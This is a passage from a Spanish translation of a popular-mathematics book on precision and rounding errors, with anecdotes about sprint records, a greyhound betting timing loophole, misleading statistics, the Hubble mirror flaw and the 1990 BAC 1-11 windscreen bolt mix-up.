tiene	 varios	 récords	mundiales	 de	Tetris	 se	 ha	 bebido	 toda	 la	 cerveza.	 Pero
preferiría	 no	 ser	 preciso	 y	 exacto	 al	 mismo	 tiempo,	 ya	 que	 podría
incriminarme.

Por	lo	tanto,	mientras	que	el	aumento	de	la	exactitud	nos	posibilita	tener
récords	 del	 mundo	 de	 100	 metros	 lisos	 más	 exactos,	 el	 aumento	 de	 la
precisión	 nos	 da	más	 récords.	 Durante	 las	 dos	 décadas	 que	 van	 de	 1936	 a
1956,	 once	 personas	 diferentes	 igualaron	 la	marca	 de	 10,2	 segundos,	 hasta
que,	 finalmente,	 alguien	 la	 bajó	 a	 10,1	 segundos.	 Con	 la	 precisión	 añadida
que	 ofrece	 el	 cronometraje	 electrónico,	 muchas	 de	 esas	 personas	 podrían
haber	logrado	sus	propios	récords	mundiales.
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No	 hay	 razón	 alguna	 por	 la	 que	 no	 pudiéramos	 tener	 sistemas	 de
cronometraje	más	precisos	en	el	futuro	y	tener	la	misma	situación	al	pasar	de
centésimas	 de	 segundo	 a	 milisegundos.	 Creo	 que	 eso	 sucederá	 cuando	 los
récords	estén	cerca	del	 límite	de	la	capacidad	humana.	Cuando	los	humanos
no	podamos	mejorar	más,	no	importa	cuántas	carreras	tengamos	ni	lo	similar
que	sea	el	nivel	de	todos	los	velocistas,	siempre	habrá	otra	posición	decimal
de	precisión	por	la	que	competir[19].

El	 récord	 de	 100	metros	 lisos	 no	 es	 el	 único	 caso	 de	 competiciones	 de
velocidad	que	se	ha	visto	afectado	por	el	redondeo.	Me	topé	con	una	persona
que	fue	capaz	de	hacer	una	estafa	cuando	apostaba	en	las	carreras	de	galgos
en	algún	momento	antes	de	1992.	Al	 tratarse	de	un	chanchullo	 ilegal,	no	he
tenido	mucha	suerte	intentando	verificar	la	historia.	Todo	lo	que	tengo	es	un
correo	 anónimo	 del	 6	 de	 abril	 de	 1992	 al	 Forum	 on	Risks	 to	 the	 Public	 in
Computers	and	Related	Systems.	El	Risks	Digest	es	un	boletín	de	noticias	de
internet	 que	 empezó	 en	 1985	 y	 que	 sigue	 activo.	 Por	 regla	 general,	 evito
historias	infundadas,	pero	esta	es	demasiado	divertida	para	pasarla	por	alto.	Si
alguien	puede	confirmarla	o	refutarla,	me	encantaría	que	me	lo	dijese.

Según	dicen,	los	corredores	de	apuestas	de	Las	Vegas	estaban	utilizando
un	sistema	informático	para	realizar	sus	apuestas	en	las	carreras	de	galgos.	El
sistema	permitía	 que	 se	 colocaran	 apuestas	hasta	 la	 hora	 límite	oficial,	 que,
según	establecía	la	ley	de	Nevada,	era	de	unos	pocos	segundos	antes	de	que	se
abrieran	 las	 puertas	 y	 los	 galgos	 empezaran	 a	 correr.	 Después	 de	 este
intervalo	de	tiempo,	se	consideraba	que	la	carrera	había	empezado,	por	lo	que
no	 se	 permitían	 más	 apuestas.	 Una	 vez	 que	 había	 acabado	 la	 carrera,	 se
anunciaba	el	ganador.	Por	lo	que	los	pasos	clave	eran:	las	apuestas	se	habrían
«cerrado»,	la	carrera	habría	«empezado»	y	el	ganador	se	habría	«anunciado».

El	 problema	 era	 que	 el	 software	 utilizado	 se	 había	 adaptado	 de	 otro
software	 utilizado	 en	 las	 carreras	 de	 caballos.	 En	 el	 estado	 de	 Nevada,	 el
tiempo	de	«cierre»	para	una	carrera	de	caballos	era	cuando	el	primer	caballo
entraba	en	su	puesto	de	salida,	lo	cual	podía	pasar	unos	minutos	antes	de	que
empezase	la	carrera.	Después	del	«inicio»	de	la	carrera	de	caballos,	pasaban
unos	 minutos	 hasta	 que	 esta	 se	 acababa	 y	 se	 «anunciaba»	 el	 ganador.	 El
sistema	 almacenaba	 el	 tiempo	 solo	 en	 horas	 y	 minutos,	 pero	 era	 lo
suficientemente	 preciso	 para	 garantizar	 que	 nadie	 pudiera	 seguir	 colocando
apuestas	después	de	que	hubiera	empezado	la	carrera	de	caballos.

En	el	mundo	de	 la	 alta	velocidad	de	 las	carreras	de	galgos,	 las	apuestas
para	una	carrera	se	podían	cerrar,	la	carrera	empezar	y	el	ganador	anunciar	en
un	minuto.	Por	lo	que	la	carrera	ya	podría	tener	ganador,	pero	podría	ser	que
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el	sistema	no	hubiera	registrado	todavía	el	cierre	de	apuestas	porque	el	minuto
no	había	cambiado.	Algunas	personas	astutas	se	dieron	cuenta	de	que	podían
esperar	a	ver	qué	galgo	había	ganado	la	carrera	y	todavía	apostar	por	él.

La	importancia	de	las	cifras

Los	 humanos	 desconfiamos	 mucho	 de	 los	 números	 redondos.	 Estamos
acostumbrados	 a	 que	 los	 datos	 sean	 muy	 confusos	 y	 poco	 claros.
Interpretamos	los	números	redondos	como	una	señal	de	que	los	datos	han	sido
redondeados.	 Si	 alguien	 dice	 que	 el	 camino	 hasta	 su	 trabajo	 tiene	 1,5
kilómetros,	sabemos	que	no	es	que	sean	1.500	metros,	sino	que	más	bien	ha
redondeado	 hasta	 el	medio	 kilómetro	más	 cercano.	 Sin	 embargo,	 si	 dijeran
que	 su	 camino	 al	 trabajo	 es	 de	 149.764	 centímetros,	 pensaríamos	 que	 ha
llevado	la	procrastinación	a	un	nivel	de	récord.

En	2017	se	propagó	 la	 idea	de	que,	 si	Estados	Unidos	cambiara	 toda	su
producción	 de	 electricidad	 proveniente	 del	 carbón	 a	 hacerlo	 a	 partir	 de	 la
energía	 solar,	 se	 salvarían	 51.999	 vidas	 cada	 año,	 un	 número	 específico	 un
poco	extraño.	Da	la	impresión	de	que	no	ha	sido	redondeado;	¡fíjese	en	todos
esos	nueves!	Pero	a	mí	me	da	la	impresión	de	que	se	trata	de	dos	números	de
diferente	tamaño	que	se	han	combinado	y	han	dado	como	resultado	un	nivel
innecesario	de	precisión.	He	mencionado	en	este	 libro	que	el	universo	 tiene
13.800	millones	de	antigüedad.	Pero	eso	no	quiere	decir	que	si	lo	está	leyendo
tres	años	después	de	 su	publicación	el	universo	 tenga	ahora	13.800.000.003
años.	 Los	 números	 con	 diferentes	 órdenes	 de	 magnitud	 (el	 tamaño	 de	 los
números)	no	se	pueden	sumar	y	restar	entre	ellos	de	forma	significativa.

La	 cifra	 de	 51.999	 era	 la	 diferencia	 entre	 las	 vidas	 salvadas	 si	 no	 se
utilizara	 el	 carbón	 y	 las	 muertes	 causadas	 por	 la	 energía	 solar.	 Una
investigación	 previa	 de	 2013	 había	 llegado	 a	 la	 conclusión	 de	 que	 las
emisiones	 de	 las	 centrales	 eléctricas	 que	 utilizan	 carbón	 como	 combustible
provocaban	 unas	 52.000	muertes	 al	 año.	 La	 industria	 solar	 fotovoltaica	 era
todavía	demasiado	escasa	para	tener	ninguna	muerte	registrada.	Por	lo	que	los
investigadores	 utilizaron	 las	 estadísticas	 procedentes	 de	 la	 industria	 de	 los
semiconductores	 (cuyos	 procesos	 de	 producción	 eran	 muy	 parecidos	 y
también	 utilizan	 productos	 químicos	 peligrosos)	 para	 calcular	 que	 la
fabricación	 de	 paneles	 solares	 causaría	 una	 muerte	 por	 año.	 Así	 nos	 salen
51.999	vidas	salvadas	por	año.	Fácil.

El	problema	era	que	el	valor	inicial	de	52.000	era	una	cifra	redonda	con
solo	 dos	 cifras	 significativas	 y	 ahora,	 de	 repente,	 tenía	 cinco.	 Consulté	 el
estudio	de	2013,	y	la	cifra	original	era	de	52.200	muertes	al	año.	Y	esa	ya	era
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una	 aproximación	 (para	 todos	 los	 aficionados	 a	 las	 estadísticas,	 el	 valor	 de
52.200	 tiene	 un	 intervalo	 de	 confianza	 del	 90%,	 de	 23.400	 a	 94.300).	 La
investigación	de	2013	sobre	las	muertes	en	el	caso	de	las	centrales	eléctricas
que	 utilizan	 carbón	 se	 había	 redondeado	 a	 la	 cifra	 de	 52.000	 pero,	 si
revertimos	 el	 redondeo	 a	 52.200,	 entonces,	 la	 energía	 solar,	 ¡puede	 salvar
52.199	vidas!	¡Hemos	salvado	a	doscientas	personas	más!

Puedo	adivinar	por	qué,	por	razones	políticas,	se	utilizó	la	cifra	de	51.999:
para	 llamar	 la	atención	sobre	 la	única	muerte	esperada	por	 la	producción	de
paneles	 solares	 y	 de	 esa	 forma	 enfatizar	 lo	 segura	 que	 es.	 Y	 esa	 precisión
extra	hace	que	un	número	parezca	más	indiscutible.	La	menor	precisión	de	un
número	 redondo	hace	 que	 parezca	 que	 es	menos	 exacto,	 incluso	 a	 pesar	 de
que,	por	lo	general,	no	es	así.	Esos	ceros	al	final	de	la	cifra	también	pueden
formar	parte	de	su	precisión.	Una	de	cada	millón	de	personas	vivirá	sin	darse
cuenta	a	un	número	exacto	de	kilómetros	(de	puerta	a	puerta)	de	su	 trabajo,
ajustada	al	milímetro	más	cercano.

La	 primera	 altura	 oficial	 del	 monte	 Everest	 era	 de	 29.002	 pies	 (8.840
metros).	Esta	es	la	clase	de	cifra	específica	que	esperarías	después	de	décadas
de	mediciones	y	cálculos.	En	1802,	los	británicos	iniciaron	el	Gran	Proyecto
de	 Topografía	 Trigonométrica	 (GTS	 por	 sus	 siglas	 en	 inglés),	 un	 estudio
integral	del	subcontinente	 indio.	En	1831,	Radhanath	Sikdar,	un	prometedor
estudiante	 de	 matemáticas	 de	 Calcuta	 que	 sobresalía	 en	 la	 trigonometría
esférica	necesaria	para	los	estudios	geodésicos,	se	unió	al	GTS.

En	 1852,	 Sikdar	 estaba	 trabajando	 con	 los	 datos	 procedentes	 de	 una
cadena	montañosa	 cercana	 a	 Darjeeling.	 Utilizando	 seis	medidas	 diferentes
para	 calcular	 la	 altura	 del	 «Pico	XV»,	 el	 número	 final	 fue	 de	 alrededor	 de
29.000	 pies.	 Irrumpió	 en	 el	 despacho	 de	 su	 jefe	 para	 decirle	 que	 había
descubierto	 la	 montaña	 más	 alta	 del	 mundo.	 Por	 entonces,	 el	 GTS	 estaba
dirigido	por	Andrew	Waugh,	quien,	después	de	varios	años	comprobando	la
altura,	anunció	en	1856	que	el	Pico	XV	era	la	montaña	más	alta	del	mundo	y
la	bautizó	con	el	apellido	de	su	predecesor,	George	Everest.

Pero	 se	 rumoreaba	 que	 el	 número	 original	 de	 Sikdar	 era	 exactamente
29.000	pies.	En	este	caso,	todas	esas	eran	cifras	importantes,	pero	el	público
no	 las	 vería	 así.	 Supondrían	 que	 el	 valor	 sería	 «aproximadamente	 29.000
pies».	Y	 la	gente	no	 aceptaría	 que	 se	 reivindicase	 el	 título	de	montaña	más
alta	del	planeta	si	los	cálculos	parecían	insuficientemente	precisos.	Por	lo	que
se	añadieron	dos	pies	ficticios.	Al	menos,	es	así	como	se	cuenta	la	historia.	La
altura	oficial	registrada	en	1856	fue	definitivamente	29.002	pies,	pero	no	he
podido	encontrar	ninguna	prueba	de	que	los	cálculos	iniciales	dieran	una	cifra
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de	 29.000	 pies	 exactos.	 Ni	 tampoco	 de	 dónde	 salió	 el	 rumor	 sobre	 el
redondeo.

Pero	 incluso	 si	 este	 caso	 concreto	no	 es	 cierto,	 no	dudo	de	que	muchos
valores	aparentemente	precisos	han	sido	modificados	sutilmente	desviándolos
de	 un	 número	 accidentalmente	 redondo	 para	 hacerlos	 parecer	 tan	 precisos
como	son	realmente.

Importancia	significativa
En	 febrero	 de	 2017,	 la	 BBC	 presentó	 un	 informe	 de	 la	 Oficina	 Nacional	 de
Estadística	(ONS	por	sus	siglas	en	inglés)	en	el	que	se	decía	que	en	los	tres	últimos
meses	de	2016	«el	desempleo	en	el	Reino	Unido	bajó	en	7.000	personas,	situándose
en	1,6	millones	de	personas».	Pero	este	cambio	de	siete	mil	está	muy	por	debajo	del
número	de	1,6	millones	que	se	había	redondeado.	El	matemático	Matthew	Scroggs
señaló	 rápidamente	 que,	 básicamente,	 lo	 que	 la	 BBC	 estaba	 diciendo	 era	 que	 el
desempleo	había	pasado	de	1,6	millones	a	1,6	millones.
Un	 cambio	 por	 debajo	 de	 la	 precisión	 del	 número	 original	 carece	 de	 sentido.
Algunas	personas	señalaron	que	un	cambio	de	siete	mil	puestos	de	 trabajo	estaba
dentro	 del	 ámbito	 de	 una	 única	 empresa	 que	 hubiese	 cerrado	 y	 que	 no	 era	 un
número	 significativo	 para	 esperar	 que	 produjese	 cambios	 en	 la	 economía	 en	 su
conjunto.	Y	así	es,	y	es	la	razón	por	la	que	la	ONS	estaba	redondeando	los	números
de	desempleados	hacia	el	cien	mil	más	cercano	desde	el	principio.
Más	adelante,	la	BBC	actualizó	el	artículo	añadiendo	detalles	sobre	las	estadísticas
originales	que	había	presentado	la	ONS:

La	ONS	está	segura	al	95%	de	que	su	cálculo	de	la	caída	del	desempleo	en	7.000
personas	es	correcto	en	una	variación	máxima	de	80.000,	por	 lo	que	se	considera
que	la	caída	no	es	estadísticamente	significativa.

Por	lo	que,	en	realidad,	la	ONS	estaba	segura	de	que	el	desempleo	había	cambiado
entre	 un	 incremento	 de	 73.000	 y	 un	 descenso	 de	 87.000.	 En	 otras	 palabras,	 los
niveles	 de	 desempleo	 no	 habían	 cambiado	 mucho,	 y	 parecía	 que	 podían	 ser	 un
poquito	 mejores	 en	 lugar	 de	 peores.	 Ese	 es	 un	 mensaje	 diferente	 a	 dar	 una
estadística	 a	 toda	 prisa	 de	 «el	 desempleo	 cayó	 en	 7.000»	 y	me	 alegro	 de	 que	 la
BBC	actualizara	el	artículo	para	añadir	más	detalles.

Agrupados

Cambiar	los	relojes	al	horario	de	verano	puede	causar	un	montón	de	estrés	a
las	 personas.	 Si	 se	 olvida,	 llegará	 al	 trabajo	 una	 hora	 antes	 y	 se	 sentirá
avergonzado,	o	una	hora	tarde	e	igual	le	despiden.	En	mi	caso,	espero	el	día
en	 el	 que	 hay	 que	 atrasar	 los	 relojes	 ya	 que	 así	 tengo	 una	 hora	 más	 para
dormir.	Excepto	que	yo	no	lo	despilfarro	de	golpe:	lo	guardo	durante	un	par
de	días,	hasta	que	lo	necesite	de	verdad.	Estoy	considerando	seriamente	quitar
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una	 hora	 cada	 noche	 del	 viernes,	 cuando	 apenas	 tendría	 consecuencias,	 y
utilizarla	los	lunes	para	así	poder	quedarme	una	hora	más	en	la	cama.

Adelantar	 los	 relojes	 una	 hora	 no	 tiene	 las	mismas	 ventajas:	 desaparece
una	hora	de	nuestras	vidas.	Pero	estar	un	poco	soñoliento	no	es	 lo	peor	que
nos	 puede	 pasar;	 el	 lunes	 posterior	 al	 adelanto	 de	 la	 hora	 hacia	 delante	 se
producen	 un	 24%	 más	 de	 ataques	 al	 corazón.	 El	 horario	 de	 verano	 mata
personas,	literalmente.

O,	 mejor	 dicho,	 mata	 personas,	 literalmente,	 en	 ese	 día	 específico.	 El
lunes	posterior	al	adelanto	de	la	hora,	cuando	se	pierde	una	hora	de	sueño,	se
produce	un	 aumento	 de	 casos	 de	 ataques	 cardiacos	 por	 encima	de	 la	media
esperada	para	un	lunes	(que	ya	de	por	sí	es	el	día	en	el	que	se	producen	más
ataques	 de	 corazón).	 Y	 el	 martes	 después	 de	 que	 se	 hayan	 retrasado	 los
relojes,	 lo	 que	 nos	 da	 una	 hora	 más	 para	 dormir,	 los	 ataques	 al	 corazón
disminuyen	un	21%.	Tiene	que	ver	con	los	cambios	de	los	horarios.	No	es	un
caso	 en	 el	 que	 el	 combinar	 números	 y	 redondearlos	 produzca	 un	 problema,
sino,	más	bien,	que	al	agrupar	todos	los	datos	se	pone	de	manifiesto	qué	es	lo
que	está	pasando	realmente.

Ha	habido	estudios	anteriores	en	los	que	se	demostraba	que	los	ataques	al
corazón	parecían	estar	relacionados	con	el	cambio	al	horario	de	verano,	por	lo
que	 la	 Universidad	 de	 Michigan	 puso	 a	 sus	 mejores	 especialistas
cardiovasculares	a	trabajar	en	ello.	Analizaron	la	base	de	datos	del	Blue	Cross
Blue	Shield	del	Consorcio	Cardiovascular	de	Michigan,	fijándose	en	todos	los
cambios	 de	 hora	 realizados	 entre	marzo	 de	 2010	 y	 septiembre	 de	 2013.	En
este	estudio	se	controlaron	toda	clase	de	factores,	incluyendo	la	compensación
del	hecho	de	que	un	día	de	veinticinco	horas	va	a	tener	un	4,2%	extra	de	todo.

Pero	lo	que	hace	que	los	resultados	sean	engañosos	es	lo	grande	que	es	la
ventana.	 Ese	 incremento	 del	 24%	 resulta	 de	 agrupar	 todos	 los	 ataques	 de
corazón	 durante	 todo	 el	 día	 en	 la	 misma	 categoría.	 Los	 investigadores
buscaron	cuál	era	el	número	promedio	de	ataques	al	corazón	en	un	lunes	de
diferentes	épocas	a	lo	largo	del	año,	y	el	lunes	siguiente	al	cambio	al	horario
de	 verano	 estaba	 un	 24%	 por	 encima	 de	 lo	 esperado.	 Pero,	 si	 en	 lugar	 de
fijarnos	en	un	solo	día	nos	fijamos	en	toda	la	semana,	el	efecto	desaparece	por
completo.	 Las	 semanas	 posteriores	 a	 los	 cambios	 al	 horario	 de	 verano
mostraban	el	número	esperado	de	ataques	al	corazón.	Solo	que	se	distribuían
de	forma	diferente	durante	la	semana.

Parece	ser	que	cuando	los	relojes	se	adelantan	y	nos	privan	de	sueño,	se
producen	más	ataques	al	corazón,	pero	solo	en	personas	que,	de	todas	formas,
lo	 habrían	 tenido	 en	 cualquier	 otro	 momento.	 Simplemente,	 el	 ataque	 al
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corazón	 se	 produjo	 antes.	 E,	 igualmente,	 cuando	 se	 atrasan	 los	 relojes	 y
tenemos	 un	 descanso	 extra,	 los	 ataques	 al	 corazón	 tardan	 algo	 más	 en
aparecer.	Esta	podría	 ser	 una	 información	 relevante	para	 la	 organización	de
los	 horarios	 en	 un	 hospital,	 de	 tal	 forma	 que	 se	 pudiese	 contar	 con	 más
personal	 cuando	 se	 adelantan	 los	 relojes,	 pero	 eso	 no	 quiere	 decir	 que	 el
adelanto	de	la	hora	sea	peligroso	en	sí	mismo.

Por	lo	tanto,	ahora	sabemos	que	cuando	los	relojes	se	adelantan	y	atrasan
no	 se	 incrementa	 el	 número	 de	 ataques	 al	 corazón	 (sino	 que,	 en	 cambio,	 la
falta	 de	 sueño	 puede	 acelerar	 la	 aparición	 de	 un	 ataque	 al	 corazón	 que	 se
habría	 producido	 igualmente).	Me	 enoja	 que	 siempre	 que	 se	 discute	 en	 los
medios	de	comunicación	sobre	el	cambio	al	horario	de	verano,	aparezca	esta
estadística	 sobre	 los	 ataques	 al	 corazón	 sin	 hacer	mención	 alguna	 a	 que	 es
engañosa	y	que	lo	que	habría	que	utilizar	es	el	número	de	ataques	por	semana.
Ocurrió	 incluso	 (en	 un	 programa	 de	 la	 radio	 de	 la	 BBC)	 mientras	 estaba
escribiendo	este	 libro,	y	me	estresó	muchísimo.	Irónicamente,	el	mal	uso	de
esta	estadística	en	los	medios	de	comunicación	cada	vez	que	llega	el	cambio
al	horario	de	verano,	¡seguramente	incrementa	mis	probabilidades	personales
de	tener	un	ataque	al	corazón!
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9,49

TAN	PEQUEÑO	QUE	PASA	INADVERTIDO
En	 algunas	 ocasiones	 los	 pedacitos	 aparentemente	 insignificantes	 que	 se
pierden	en	el	 redondeo	o	en	un	promedio	son	muy	 importantes.	Mientras	 la
precisión	 en	 la	 ingeniería	 moderna	 mejora	 continuamente,	 los	 humanos	 se
encuentran	a	sí	mismos	trabajando	con	máquinas	que	manejan	tolerancias	que
van	más	allá	de	 lo	que	podemos	ver	 con	nuestros	ojos	o	 tocar	 con	nuestras
manos.

Cuando,	en	1990,	el	 telescopio	espacial	Hubble	fue	puesto	en	órbita	con
un	 coste	 de	mil	 quinientos	millones	 de	 dólares,	 las	 primeras	 imágenes	 que
mandó	 fueron	 decepcionantes.	 Estaban	 desenfocadas.	 El	 corazón	 del
telescopio	 estaba	 formado	 por	 un	 espejo	 de	 2,4	 metros	 de	 ancho	 que	 se
suponía	que	era	capaz	de	enfocar	al	menos	el	70%	de	la	luz	procedente	de	las
estrellas	en	un	punto	focal,	 logrando	así	una	imagen	nítida.	Pero	resultó	que
solo	 enfocaba	 entre	 el	 10%	 y	 el	 15%	 de	 la	 luz,	 produciendo	 una	 imagen
borrosa.

La	 NASA	 se	 puso	 a	 trabajar	 a	 toda	 prisa	 para	 averiguar	 qué	 estaba
fallando.	 Después	 de	 muchos	 quebraderos	 de	 cabeza,	 los	 ingenieros	 y	 los
expertos	 en	 óptica	 dedujeron	 que	 el	 espejo	 debía	 de	 tener	 una	 forma
incorrecta.	Cuando	se	fabricó,	al	espejo	se	 le	dio	una	forma	parabólica	y	no
era	del	todo	adecuada.	Similar,	en	parte,	a	un	edificio	reflectante	expuesto	al
ardiente	sol,	un	paraboloide	es	 la	 forma	perfecta	para	concentrar	 toda	 la	 luz
entrante	en	un	punto	pequeño.	Pero	para	crear	una	imagen	nítida	es	necesaria
más	 exactitud	 que	 la	 necesaria	 para	 dirigir	 un	 rayo	 hacia	 un	 limón	 con	 la
suficiente	luz	y	quemarlo.	El	espejo	necesitaba	ser	un	paraboloide	exacto	de
un	tipo	muy	específico.
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Lo	que	captó	inicialmente	el	Hubble	y	cómo	se	debería	haber	visto.

El	equipo	que	investigaba	el	problema	tuvo	en	consideración	toda	clase	de
errores,	incluyendo	el	hecho	de	que	el	espejo	se	fabricó	con	1G	de	gravedad	y
ahora	 estaba	 operando	 a	 0G.	 Resulta	 que	 el	 espejo	 se	 fabricó	 y	montó	 sin
problema	 alguno.	 Después	 de	 muchos	 análisis	 se	 determinó	 que	 el	 espejo
principal	 del	 Hubble	 tenía	 una	 constante	 cónica	 (una	 medida	 que	 hace
referencia	a	la	parábola)	de	–1,0139	cuando	tenía	que	ser	de	–1,0023.

Esa	diferencia	no	se	notaba	a	simple	vista.	Los	bordes	del	espejo	de	2,4
metros	 medían	 2,2	 micrómetros	 menos	 de	 lo	 que	 deberían.	 Eso	 son	 2,2
milésimas	de	un	milímetro.	Para	construir	el	espejo	con	semejante	precisión,
se	 habían	 hecho	 rebotar	 rayos	 de	 luz	 en	 su	 superficie,	 formando	 patrones
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complejos	de	interferencia	que	cambiaban	con	la	más	mínima	variación	en	la
distancia.	Era	una	operación	tan	delicada	que	se	tenía	que	utilizar	la	longitud
de	onda	de	la	luz	para	medir	la	forma.

Espejo	principal	del	Hubble	cuando	se	estaba	fabricando.	«Puedo	verme	puliendo	ese	espejo».

El	 error	 estaba	 en	 las	 ópticas	 que	 dirigían	 la	 luz	 sobre	 el	 espejo	 para
analizar	 su	 forma.	 Habían	 sido	 dispuestas	 de	 tal	 forma	 que	 darían	 una
constante	 cónica	 errónea;	 el	 informe	 oficial	 hablaba	 de	 un	 desvío	 de	 1,3
milímetros.	 Las	 noticias	 decían	 que	 el	 error	 fue	 una	 arandela	 puesta	 en	 el
lugar	 incorrecto,	 pero	 eso	 no	 aparece	 en	 el	 informe	 oficial.	 Se	 envió	 una
misión	 para	 reparar	 el	 telescopio	 espacial	 para	 añadir	 la	 óptica	 correctora.
Una	especie	de	lentillas	para	un	telescopio	espacial.

La	Meca	de	los	errores
Muchos	sistemas	son	 lo	suficientemente	precisos	 la	mayor	parte	del	 tiempo,	pero
fallan	 en	 los	 «casos	 extremos»,	 cuando	 los	 errores	 se	 amplifican.	Una	 aplicación
que	señala	hacia	La	Meca	 tiene	que	saber,	a	 la	vez,	dónde	están	el	 teléfono	y	La
Meca,	 pero	 solo	 con	 una	 precisión	 baja,	 suficiente	 para	 señalar	 en	 la	 dirección
correcta	desde	la	mayoría	de	lugares	del	planeta.	Hasta	que	alguien	la	utiliza	cerca
de	 la	Kaaba	 (un	 edificio	 situado	 en	 el	 centro	 de	 la	mezquita	más	 importante	 del
islam).
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Perdería	toda	la	fe	en	esa	aplicación.

Si	el	tornillo	encaja

He	comprado	algunas	cosas	muy	 raras	en	 internet	durante	 los	últimos	años,
pero	nada	 fue	 tan	difícil	 de	 encontrar	 en	páginas	web	especializadas	y	muy
poco	conocidas	como	los	dos	montones	de	 tornillos	del	escritorio	que	 tengo
delante	de	mí.	A	la	izquierda	tengo	algunos	tornillos	A211-7D	y	a	la	derecha
algunos	del	modelo	A211-8C.	Están	en	mi	escritorio	como	resultado	de	haber
contactado	 con	 diversos	 proveedores	 de	 componentes	 y	 equipamiento
aeroespacial.	En	la	siguiente	foto	aparece	uno	de	cada	tipo.

Tuve	 que	 ser	 cuidadoso	 para	 poder	 localizarlos,	 ya	 que	 es	 difícil
distinguirlos.	Los	paquetes	en	los	que	vienen	están	etiquetados,	pero,	una	vez
que	 los	 has	 sacado	 de	 sus	 cajas	 no	 hay	marca	 alguna	 en	 los	 tornillos	 para
saber	si	se	trata	de	un	7D	o	un	8C.	En	teoría,	el	7D	mide	0,026	pulgadas	más
de	ancho	(unos	0,66	milímetros)	que	el	8C,	pero,	una	vez	que	los	tengo	entre
mis	dedos,	me	es	muy	difícil	decir	cuál	es	cuál.	La	rosca	del	7D	también	es
más	 fina	 que	 la	 del	 8C,	 pero	 es	 difícil	 verlo.	 Por	 suerte,	 el	 8C	 mide	 0,1
pulgadas	más	 de	 largo	 (unos	 2,5	milímetros),	 algo	 que	 podemos	 ver	 si	 los
alineamos	uno	junto	al	otro	con	sumo	cuidado.
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Dos	tornillos	muy	diferentes.	Hagas	lo	que	hagas,	no	los	mezcles.

Es	 por	 esto	 que	 siento	 lástima	 por	 el	 encargado	 del	mantenimiento	 que
hizo	 el	 turno	 de	 noche	 el	 8	 de	 junio	 de	 1990	 en	 British	 Airways	 en	 el
aeropuerto	de	Birmingham.	Quitó	noventa	tornillos	del	parabrisas	de	un	avión
comercial	 birreactor	 BAC	 1-11	 y	 se	 dio	 cuenta	 de	 que	 era	 necesario
reemplazarlos,	pero	no	tenían	señal	alguna.	Se	llevó	uno	de	los	tornillos,	bajó
del	elevador	de	seguridad	(una	plataforma	elevada)	utilizado	para	poder	llegar
a	 la	 parte	 frontal	 del	 avión	 y	 se	 dirigió	 al	 almacén.	 Después	 de	 comparar
meticulosamente	 el	 tornillo	 que	 llevaba	 con	 él	 con	 todos	 los	 que	 encontró,
identificó	que	se	trataba	de	un	tornillo	del	modelo	A211-7D.	Ahora	entiendo
lo	difícil	que	debió	ser.	Abrió	la	caja	y	vio	que	solo	quedaban	cuatro	o	cinco.

Empatizo	con	este	 tipo.	Ni	 siquiera	 le	 tocaba	a	él	 sustituir	el	parabrisas,
porque	esa	noche	iban	cortos	de	personal,	y	además	era	el	 jefe,	 lo	hizo	para
evitar	 futuros	retrasos.	Era	algo	que	ya	había	hecho	unos	años	antes	cuando
trabajaba	para	BA	y	solo	con	un	rápido	vistazo	al	manual	de	mantenimiento
de	 la	 aeronave	 le	 bastó	 para	 recordar	 cómo	 se	 hacía.	 En	 el	 informe	 del
accidente	que	se	publicó	solo	un	año	y	medio	más	tarde,	a	nuestro	amigo,	el
jefe	de	mantenimiento,	 no	 se	 le	 nombra	 en	ningún	momento	 (y	 con	 toda	 la
razón).	Me	gusta	referirme	a	él	como	Sam	(utilizando	las	siglas	en	inglés	de
su	 cargo,	 Shift	 Maintenance	 Manager).	 Me	 imagino	 a	 Sam,	 a	 las	 3.00	 h,
haciendo	algo	que	en	realidad	no	le	tocaba	hacer,	con	tan	solo	cuatro	tornillos
de	los	noventa	que	necesitaba.
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Así	que	Sam	coge	un	coche	y	sale	del	hangar	atravesando	el	aeropuerto
hacia	 un	 segundo	 almacén	 de	 recambios	 situado	 bajo	 la	 terminal
internacional.	Está	lloviendo.	Todavía	lleva	en	sus	manos	uno	de	los	tornillos
que	retiró	del	parabrisas.	A	diferencia	del	almacén	principal,	que	cuenta	con
un	supervisor	a	su	cargo,	este	segundo	carece	de	personal.	Entra	y	encuentra
el	 dispensador	 de	 tornillos,	 pero	 la	 zona	 está	 escasamente	 iluminada.	 Suele
llevar	 gafas	 para	 leer,	 pero	 no	 las	 necesita	 en	 el	 trabajo	 porque	 su	 vista	 es
bastante	buena,	pero	ahora,	para	poder	acceder	a	la	caja	de	tornillos,	bloquea
la	única	fuente	de	luz	del	lugar.	Las	cajas	ni	siquiera	están	etiquetadas	como
corresponde.	 Sam	 compara	 los	 tornillos	 con	 el	 que	 ha	 traído.	 Finalmente,
encuentra	 algunos	 tornillos	 adecuados.	 Deben	 de	 ser	 del	modelo	A211-7D.
Spoiler:	no	lo	eran.

Un	momento,	 piensa	Sam,	una	parte	del	 parabrisas	 tiene	una	«banda	de
revestimiento»	 de	metal	 para	mejorar	 la	 aerodinámica,	 lo	 que	 hace	 que	 sea
más	grueso.	Seis	de	los	tornillos	tienen	que	ser	más	largos.	¡Maldita	sea,	por
qué	tuvo	que	traer	solo	uno	de	los	tornillos	al	azar!	Sam	toma	una	decisión	y
coge	suficientes	tornillos	del	modelo	que	cree	es	el	A211-7D,	además	de	seis
A211-9D,	que	 son	un	poco	más	 largos.	Regresa	al	 coche	y	conduce	bajo	 la
lluvia.

Entra	 en	el	hangar	principal	y	 coge	 la	 llave	dinamométrica	que	necesita
para	 colocar	 los	 tornillos.	 Ese	 tipo	 de	 llaves	 está	 diseñado	 para	 soltarse
cuando	 el	 tornillo	 ha	 alcanzado	 la	 tensión	 correcta	 y	 evitar	 así	 que	 esté
excesivamente	 apretado.	 Pero	 no	 está	 en	 el	 panel	 de	 herramientas.	 Ha
desaparecido.	Sam,	si	alguna	vez	lees	esto,	te	compadezco,	tío.

El	jefe	del	almacén	tiene	un	destornillador	dinamométrico,	aunque	no	está
calibrado	 correctamente	 y	 se	 supone	 que	 no	 se	 puede	 utilizar.	 Los	 dos	 lo
calibran	 para	 que	 ejerza	 una	 fuerza	 de	 torsión	 de	 20	 y	 realizan	 algunas
pruebas.	Parece	que	va	bien.	Por	fin	Sam	se	puede	poner	a	trabajar.

Excepto	que	la	broca	que	Sam	necesita	utilizar	no	encaja	en	el	cabezal	del
destornillador.	Por	lo	que	tiene	que	utilizar	una	broca	Phillips	del	n.º	2	que	sí
que	encaja	en	el	destornillador.	Y	no	encaja	bien;	si	lo	soltaba,	se	caería.	La
